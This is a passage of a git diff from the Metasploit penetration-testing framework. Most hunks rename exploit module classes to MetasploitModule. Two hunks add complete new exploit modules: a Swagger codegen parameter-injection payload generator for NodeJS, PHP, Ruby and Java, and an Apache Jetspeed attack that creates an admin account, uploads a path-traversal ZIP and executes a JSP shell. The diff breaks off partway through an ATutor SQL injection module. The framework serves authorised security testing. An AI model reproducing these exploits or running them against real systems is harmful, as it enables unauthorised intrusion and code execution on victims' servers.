Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_getsoundbank_bof.rb b/modules/exploits/multi/browser/java_getsoundbank_bof.rb index 3a123768f2..5f9427aae4 100644 --- a/modules/exploits/multi/browser/java_getsoundbank_bof.rb +++ b/modules/exploits/multi/browser/java_getsoundbank_bof.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # diff --git a/modules/exploits/multi/browser/java_jre17_driver_manager.rb b/modules/exploits/multi/browser/java_jre17_driver_manager.rb index b832f9ea9b..8c68bb3eeb 100644 --- a/modules/exploits/multi/browser/java_jre17_driver_manager.rb +++ b/modules/exploits/multi/browser/java_jre17_driver_manager.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_jre17_exec.rb b/modules/exploits/multi/browser/java_jre17_exec.rb index 9280d870ad..b3a797e075 100644 --- a/modules/exploits/multi/browser/java_jre17_exec.rb +++ b/modules/exploits/multi/browser/java_jre17_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb index 7c37c553a2..e0545f2e52 100644 --- a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb +++ b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_jre17_jaxws.rb b/modules/exploits/multi/browser/java_jre17_jaxws.rb index 4dfad212b6..5333aced38 100644 --- a/modules/exploits/multi/browser/java_jre17_jaxws.rb +++ b/modules/exploits/multi/browser/java_jre17_jaxws.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean.rb b/modules/exploits/multi/browser/java_jre17_jmxbean.rb index 597c3fdf2f..ce12144e5f 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb index 906d07867f..1902a0eb83 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_jre17_method_handle.rb b/modules/exploits/multi/browser/java_jre17_method_handle.rb index 32f55c5613..1bbea0f9c8 100644 --- a/modules/exploits/multi/browser/java_jre17_method_handle.rb +++ b/modules/exploits/multi/browser/java_jre17_method_handle.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb b/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb index 9e4931f342..32da73a192 100644 --- a/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb +++ b/modules/exploits/multi/browser/java_jre17_provider_skeleton.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_jre17_reflection_types.rb b/modules/exploits/multi/browser/java_jre17_reflection_types.rb index 9fa97d5e57..b3852a2629 100644 --- a/modules/exploits/multi/browser/java_jre17_reflection_types.rb +++ b/modules/exploits/multi/browser/java_jre17_reflection_types.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_rhino.rb b/modules/exploits/multi/browser/java_rhino.rb index c752549994..5577bb5818 100644 --- a/modules/exploits/multi/browser/java_rhino.rb +++ b/modules/exploits/multi/browser/java_rhino.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_rmi_connection_impl.rb b/modules/exploits/multi/browser/java_rmi_connection_impl.rb index 41a3705785..5ae6062ed0 100644 --- a/modules/exploits/multi/browser/java_rmi_connection_impl.rb +++ b/modules/exploits/multi/browser/java_rmi_connection_impl.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_setdifficm_bof.rb b/modules/exploits/multi/browser/java_setdifficm_bof.rb index 46be8c7c58..290c212685 100644 --- a/modules/exploits/multi/browser/java_setdifficm_bof.rb +++ b/modules/exploits/multi/browser/java_setdifficm_bof.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb index 82bc228e50..5ebe7bd273 100644 --- a/modules/exploits/multi/browser/java_signed_applet.rb +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'rex/zip' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_storeimagearray.rb b/modules/exploits/multi/browser/java_storeimagearray.rb index cab28b512a..68fb323109 100644 --- a/modules/exploits/multi/browser/java_storeimagearray.rb +++ b/modules/exploits/multi/browser/java_storeimagearray.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_trusted_chain.rb b/modules/exploits/multi/browser/java_trusted_chain.rb index e2f4651f3e..fb54d99100 100644 --- a/modules/exploits/multi/browser/java_trusted_chain.rb +++ b/modules/exploits/multi/browser/java_trusted_chain.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_verifier_field_access.rb b/modules/exploits/multi/browser/java_verifier_field_access.rb index dbe08a3035..644ecbf818 100644 --- a/modules/exploits/multi/browser/java_verifier_field_access.rb +++ b/modules/exploits/multi/browser/java_verifier_field_access.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/mozilla_compareto.rb b/modules/exploits/multi/browser/mozilla_compareto.rb index b01bba4436..a0781321ae 100644 --- a/modules/exploits/multi/browser/mozilla_compareto.rb +++ b/modules/exploits/multi/browser/mozilla_compareto.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # diff --git a/modules/exploits/multi/browser/mozilla_navigatorjava.rb b/modules/exploits/multi/browser/mozilla_navigatorjava.rb index bf763ea14d..e2b148f5c9 100644 --- a/modules/exploits/multi/browser/mozilla_navigatorjava.rb +++ b/modules/exploits/multi/browser/mozilla_navigatorjava.rb @@ -6,7 +6,7 @@ require 'msf/core/constants' require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/opera_configoverwrite.rb b/modules/exploits/multi/browser/opera_configoverwrite.rb index 0e426d005b..74045adbdd 100644 --- a/modules/exploits/multi/browser/opera_configoverwrite.rb +++ b/modules/exploits/multi/browser/opera_configoverwrite.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # diff --git a/modules/exploits/multi/browser/opera_historysearch.rb b/modules/exploits/multi/browser/opera_historysearch.rb index 470e2f1eb5..e04ac98519 100644 --- a/modules/exploits/multi/browser/opera_historysearch.rb +++ b/modules/exploits/multi/browser/opera_historysearch.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/qtjava_pointer.rb b/modules/exploits/multi/browser/qtjava_pointer.rb index 5a1e3c5e1b..e23c60c516 100644 --- a/modules/exploits/multi/browser/qtjava_pointer.rb +++ b/modules/exploits/multi/browser/qtjava_pointer.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb index 685a0ae6d7..726953c360 100644 --- a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb +++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/elasticsearch/search_groovy_script.rb b/modules/exploits/multi/elasticsearch/search_groovy_script.rb index ee65df2cc2..68a45dd24f 100644 --- a/modules/exploits/multi/elasticsearch/search_groovy_script.rb +++ b/modules/exploits/multi/elasticsearch/search_groovy_script.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper diff --git a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb index fc668215fb..2aa31da111 100644 --- a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb +++ b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'zlib' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb b/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb index 1e15976eb4..13f70050be 100644 --- a/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb +++ b/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/jsobfu' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/multi/fileformat/maple_maplet.rb b/modules/exploits/multi/fileformat/maple_maplet.rb index 96e8152bf5..bc14a88c60 100644 --- a/modules/exploits/multi/fileformat/maple_maplet.rb +++ b/modules/exploits/multi/fileformat/maple_maplet.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb index 3b72a6101e..920ca81f2c 100644 --- a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb +++ b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/multi/fileformat/peazip_command_injection.rb b/modules/exploits/multi/fileformat/peazip_command_injection.rb index 8fe12bb9d3..7c92f18163 100644 --- a/modules/exploits/multi/fileformat/peazip_command_injection.rb +++ b/modules/exploits/multi/fileformat/peazip_command_injection.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/zip' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT diff --git a/modules/exploits/multi/fileformat/swagger_param_inject.rb b/modules/exploits/multi/fileformat/swagger_param_inject.rb new file mode 100644 index 0000000000..978b36a32e --- /dev/null +++ b/modules/exploits/multi/fileformat/swagger_param_inject.rb @@ -0,0 +1,162 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# +# Gems +# +require 'base64' + +# +# Project +# + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'JSON Swagger CodeGen Parameter Injector', + 'Description' => %q{ + This module generates a Open API Specification 2.0 (Swagger) compliant + json document that includes payload insertion points in parameters. + + In order for the payload to be executed, an attacker must convince + someone to generate code from a specially modified swagger.json file + within a vulnerable swagger-codgen appliance/container/api/service, + and then to execute that generated code (or include it into software + which will later be executed by another victim). By doing so, an + attacker can execute arbitrary code as the victim user. The same + vulnerability exists in the YAML format. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'ethersnowman ' + ], + 'References' => + [ + [ 'URL', 'http://github.com/swagger-api/swagger-codegen' ], + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ] + ], + 'Platform' => %w{ nodejs php java ruby }, + 'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ], + 'Targets' => + [ + ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ], + ['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ], + ['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ], + ['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ] + ], + 'DisclosureDate' => 'Jun 23 2016', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']), + OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']), + OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']), + OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']), + OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]), + OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']), + OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']), + OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']), + OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']), + OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']), + OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F']) + ], self.class) + end + + def swagger + %Q( + { + "swagger": "2.0", + "info": { + "description": "#{datastore['INFO_DESCRIPTION']}", + "version": "#{datastore['INFO_VERSION']}", + "title": "#{datastore['INFO_TITLE']}" + }, + "schemes": [ + "#{datastore['SWAGGER_SCHEME']}" + ], + "host": "#{datastore['SWAGGER_HOST']}", + "basePath": "#{datastore['BASE_PATH']}", + "produces": [ + "application/json" + ], + "consumes": [ + "application/json" + ], + "paths": { + "#{datastore['PATH']}": { + "get": { + "description": "#{datastore['PATH_DESCRIPTION']}", + "responses": { + "200": { + "description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}", + "schema": { + "$ref": "#/definitions/d" + } + } + } + } + } + }, + "definitions": { + "d": { + "type": "object", + "description": "#{datastore['DEFINITION_DESCRIPTION']}", + "properties": { + "id": { + "type": "integer", + "format": "int64" + } + } + } + } + } + ) + end + + def exploit + case payload.arch[0] + when 'nodejs' + payload_loc = 'PATH' + payload_prefix = "/a');};};return exports;}));" + payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('" + wrapped_payload = payload_prefix + payload.encoded.gsub(/"/, '\\"') + payload_suffix + when 'php' + payload_loc = 'INFO_DESCRIPTION' + payload_prefix = "*/ namespace foobar; eval(base64_decode('" + payload_suffix = "')); /*" + wrapped_payload = payload_prefix + + Base64.strict_encode64(payload.encoded) + + payload_suffix + when 'ruby' + payload_loc = 'INFO_TITLE' + payload_prefix = "=end " + payload_suffix = "=begin " + wrapped_payload = payload_prefix + payload.encoded + payload_suffix + when 'java' + payload_loc = 'PATH' + payload_prefix = %q{a\\\"; "} + p = payload.encoded.gsub(/<%@page import="/, 'import ') + p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '') + p = p.gsub(/"/, '\\"').gsub(/\n/, ' ') + wrapped_payload = payload_prefix + p + else + raise IncompatiblePayloadError.new(datastore['PAYLOAD']) + end + + datastore[payload_loc] = wrapped_payload + + print_status swagger + file_create swagger + end +end diff --git a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb index 171b689dbb..baf8345adb 100644 --- a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb +++ b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb index 3a910ece59..a9d22c9429 100644 --- a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb +++ b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb index 9d501c7793..9f4f0f63a4 100644 --- a/modules/exploits/multi/gdb/gdb_server_exec.rb +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Gdb diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index 47840b548e..5054756e07 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # diff --git a/modules/exploits/multi/http/activecollab_chat.rb b/modules/exploits/multi/http/activecollab_chat.rb index d8f6182078..c7e6129b76 100644 --- a/modules/exploits/multi/http/activecollab_chat.rb +++ b/modules/exploits/multi/http/activecollab_chat.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb index 5899e09be6..bc94a338b3 100644 --- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb +++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/apache_jetspeed_file_upload.rb b/modules/exploits/multi/http/apache_jetspeed_file_upload.rb new file mode 100644 index 0000000000..675af28bee --- /dev/null +++ b/modules/exploits/multi/http/apache_jetspeed_file_upload.rb @@ -0,0 +1,226 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Jetspeed Arbitrary File Upload', + 'Description' => %q{ + This module exploits the unsecured User Manager REST API and a ZIP file + path traversal in Apache Jetspeed-2, version 2.3.0 and unknown earlier + versions, to upload and execute a shell. + + Note: this exploit will create, use, and then delete a new admin user. + + Warning: in testing, exploiting the file upload clobbered the web + interface beyond repair. No workaround has been found yet. Use this + module at your own risk. No check will be implemented. + }, + 'Author' => [ + 'Andreas Lindh', # Vulnerability discovery + 'wvu' # Metasploit module + ], + 'References' => [ + ['CVE', '2016-0710'], + ['CVE', '2016-0709'], + ['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'], + ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'], + ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710'] + ], + 'DisclosureDate' => 'Mar 6 2016', + 'License' => MSF_LICENSE, + 'Platform' => ['linux', 'win'], + 'Arch' => ARCH_JAVA, + 'Privileged' => false, + 'Targets' => [ + ['Apache Jetspeed <= 2.3.0 (Linux)', 'Platform' => 'linux'], + ['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win'] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + Opt::RPORT(8080) + ]) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_warning(msg='') + super("#{peer} - #{msg}") + end + + def exploit + print_status("Creating admin user: #{username}:#{password}") + create_admin_user + # This was originally a typo... but we're having so much fun! + print_status('Kenny Loggins in') + kenny_loggins + print_warning('You have entered the Danger Zone') + print_status("Uploading payload ZIP: #{zip_filename}") + upload_payload_zip + print_status("Executing JSP shell: /jetspeed/#{jsp_filename}") + exec_jsp_shell + end + + def cleanup + print_status("Deleting user: #{username}") + delete_user + super + end + + # + # Exploit methods + # + + def create_admin_user + send_request_cgi( + 'method' => 'POST', + 'uri' => '/jetspeed/services/usermanager/users', + 'vars_post' => { + 'name' => username, + 'password' => password, + 'password_confirm' => password + } + ) + send_request_cgi( + 'method' => 'POST', + 'uri' => "/jetspeed/services/usermanager/users/#{username}", + 'vars_post' => { + 'user_enabled' => 'true', + 'roles' => 'admin' + } + ) + end + + def kenny_loggins + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/jetspeed/login/redirector' + ) + + res = send_request_cgi!( + 'method' => 'POST', + 'uri' => '/jetspeed/login/j_security_check', + 'cookie' => res.get_cookies, + 'vars_post' => { + 'j_username' => username, + 'j_password' => password + } + ) + + @cookie = res.get_cookies + end + + # Let's pretend we're mechanize + def import_file + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/jetspeed/portal/Administrative/site.psml', + 'cookie' => @cookie + ) + + html = res.get_html_document + import_export = html.at('//a[*//text() = "Import/Export"]/@href') + + res = send_request_cgi!( + 'method' => 'POST', + 'uri' => import_export, + 'cookie' => @cookie + ) + + html = res.get_html_document + html.at('//form[*//text() = "Import File"]/@action') + end + + def upload_payload_zip + zip = Rex::Zip::Archive.new + zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded) + + mime = Rex::MIME::Message.new + mime.add_part(zip.pack, 'application/zip', 'binary', + %Q{form-data; name="fileInput"; filename="#{zip_filename}"}) + mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"') + mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"') + + case target['Platform'] + when 'linux' + register_files_for_cleanup("../webapps/jetspeed/#{jsp_filename}") + register_files_for_cleanup("../temp/#{username}/#{zip_filename}") + when 'win' + register_files_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}") + register_files_for_cleanup("..\\temp\\#{username}\\#{zip_filename}") + end + + send_request_cgi( + 'method' => 'POST', + 'uri' => import_file, + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'cookie' => @cookie, + 'data' => mime.to_s + ) + end + + def exec_jsp_shell + send_request_cgi( + 'method' => 'GET', + 'uri' => "/jetspeed/#{jsp_filename}", + 'cookie' => @cookie + ) + end + + # + # Cleanup methods + # + + def delete_user + send_request_cgi( + 'method' => 'DELETE', + 'uri' => "/jetspeed/services/usermanager/users/#{username}" + ) + end + + # XXX: This is a hack because FileDropper doesn't delete directories + def on_new_session(session) + super + case target['Platform'] + when 'linux' + print_status("Deleting user temp directory: ../temp/#{username}") + session.shell_command_token("rm -rf ../temp/#{username}") + when 'win' + print_status("Deleting user temp directory: ..\\temp\\#{username}") + session.shell_command_token("rd /s /q ..\\temp\\#{username}") + end + end + + # + # Utility methods + # + + def username + @username ||= Rex::Text.rand_text_alpha_lower(8) + end + + def password + @password ||= Rex::Text.rand_text_alphanumeric(8) + end + + def jsp_filename + @jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp' + end + + def zip_filename + @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip' + end + +end diff --git a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb index d5bd15e7ba..9be7e7fffd 100644 --- a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb +++ b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/apache_roller_ognl_injection.rb b/modules/exploits/multi/http/apache_roller_ognl_injection.rb index 7c34f04663..67afb643ef 100644 --- a/modules/exploits/multi/http/apache_roller_ognl_injection.rb +++ b/modules/exploits/multi/http/apache_roller_ognl_injection.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -87,8 +87,6 @@ class Metasploit3 < Msf::Exploit::Remote append = 'false' jar = payload.encoded_jar.pack - File.open("/tmp/#{@payload_exe}", "wb") do |f| f.write(jar) end - chunk_length = 384 # 512 bytes when base64 encoded parts = jar.chars.each_slice(chunk_length).map(&:join) diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index a7a8dbd4f9..0ca04d25f8 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/atutor_sqli.rb b/modules/exploits/multi/http/atutor_sqli.rb index fb6be15379..afdea90590 100644 --- a/modules/exploits/multi/http/atutor_sqli.rb +++ b/modules/exploits/multi/http/atutor_sqli.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -16,11 +16,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution', 'Description' => %q{ This module exploits a SQL Injection vulnerability and an authentication weakness - vulnerability in ATutor. This essentially means an attacker can bypass authenication - and reach 